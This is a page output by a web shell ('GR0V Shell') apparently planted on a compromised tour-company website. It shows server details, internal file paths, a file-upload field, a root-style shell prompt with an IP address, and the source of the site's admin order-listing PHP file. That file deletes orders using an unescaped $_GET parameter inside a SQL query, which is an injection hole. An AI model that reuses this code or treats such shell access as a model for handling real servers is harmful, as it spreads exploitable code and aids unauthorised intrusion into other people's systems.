? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/order.php

<? include("header.php");?>
 <div id="top-panel">
            <div id="panel">
                <ul>               
                 <li><a href="admin.php" class="report">Change Password</a></li>
                    <li><a href="mail.php" class="report_seo">E-mail contact</a></li>
                     <li><a href="order.php" class="report_seo">List Order</a></li>  
                </ul>
            </div>
      </div> 
<div id="content">

  
  <div id="box" >
                	<h3>Order</h3>
                	<table width="99%">
						<thead>
							<tr>
                            <th width="50px"><a href="#">No.</a></th>    
                            	<th><a href="#">List Order</a></th>    
                                  <th width="80px"><a href="#">Customer</a></th>   
                                <th width="80px"><a href="#">Date</a></th>      
                                <th width="60px"><a href="#">Action</a></th>
                            </tr>
						</thead>
						<tbody>
<?
if(isset($_GET[del])){
$db->query("delete from cart  where cart_order  = $_GET[del]");
echo "<script>window.location.href='order.php';</script>";
}
?>
<? 
$res = $db->query("select * from cart left join user on u_id = cart_u_id where   cart_status = 1 group by cart_order order by cart_order desc");$i=0;
while($line = mysql_fetch_array($res)){$i++;
?>               <tr>
                        <td align="center">
                        <a href="#"><? echo "#".$i;?></a>
                        </td>
    						<td>
                            &nbsp;&nbsp;&nbsp;<a href="order_info.php?cart_order=<? echo $line[cart_order];?>">Order No.<? echo $line[cart_order];?> </a>
                            </td>   
                                                  
                            <td>
                           <a href="order_info.php?cart_order=<? echo $line[cart_order];?>"><? echo $line[firstname];?>&nbsp;&nbsp;&nbsp;<? echo $line[lastname];?></a>
                            </td> 
                            <td>
                          <a href="#"><span style="float:right">  <? echo date("d M,Y",$line[cart_order]);?> </span></a>
                           
                            </td>
							   <td align="center">

<a href="?del=<? echo $line[cart_order];?>" onclick="if(!confirm('ต้องการลบ ?')){return false;}"><img src="img/icons/page_white_delete.png"  width="16" height="16" /></a>
							</td></tr>
<? } ?>
						</tbody>
					</table>
         
                </div>
    
    </div>
 

      <? include("footer.php");?>

T1KUS90T
  root-grov@210.1.60.28:~$